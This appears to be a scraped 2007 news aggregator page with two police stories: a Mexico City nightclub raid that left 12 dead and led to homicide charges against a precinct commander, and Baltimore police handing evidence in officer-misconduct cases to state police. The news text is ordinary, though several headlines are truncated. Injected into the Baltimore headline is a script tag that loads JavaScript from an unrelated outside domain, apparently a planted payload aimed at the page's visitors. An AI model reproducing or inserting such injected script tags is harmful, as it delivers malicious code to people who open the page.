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NEWS > 11 August 2007

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Mexico: Precinct commander cha
The man who oversaw the police raid on a Mexico City nightclub on Friday during which 12 people were killed was charged with 12 counts of homicide, prosecutors said.
Precinct Commander Guillermo led the raid at the News Divine nightclub, where police said they had gone to check on reports of underage drinking and drug use. The legal age for drinking is 18 in Mexico.

Police initially ordered the approximately 500 patrons out of the nightclub. But soon after, while hundreds of people, including a number of police, were still inside the club, the police outside blocked the exit.
... Read more

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Baltimore City Police Departme<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
WJZ - Baltimore,MD,USA
11 August 2007
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Baltimore City Police Departme

State Police Take Over After E

Missing evidence in several serious police misconduct cases sparks a major change in who's taking care of it.

In at least two recent cases of officers accused of rape, key evidence has gone mysteriously missing before their trials. Now state police are taking over.

The rape trial against Baltimore City Police Officer William Welch was supposed to begin this month. Instead, it was postponed when key evidence, including soiled clothing, a rape kit and other items, mysteriously went missing.

In the wake of the disappearance, city police are turning the responsibility of evidence handling over to the state in cases involving serious police misconduct.

"Certainly having that evidence stored in another police department may assist them in making sure they're able to move forward in the investigation and prosecution of those types of cases," said Greg Shipley, Maryland State Police.

The turnover comes on the heels of not one but two high profile cases involving officers and missing evidence. Months before the recent Welch case, key evidence went missing in the rape case against officer Jemini Jones: surveillance video showing his accuser entering the hospital. The evidence never turned up and Jones was acquitted.

"People say congrats on beating the charges. I didn't beat anything. Nothing ever happened," Jones said. "I don't think that stigma will ever leave."

The agreement between city and state police is in the early stages. At this point, nothing is in writing. Prosecutors are reviewing it to determine whether it's legally sound.

"We are reviewing it and we are looking at it to determine whether it is legally sufficient to allow for all the necessary legal loopholes that could be viewed in a potential chain of custody question," said Margaret Burns, City State's Attorney's office.

"Obviously there's an issue of some missing evidence in one specific case and we want to avoid even the appearance of a conflict of interest when we're dealing with evidence involved in a crime," said Sterling Clifford, Baltimore City Police Department.

Welch is now scheduled for trial in October.

City police asked for the turnover.


 

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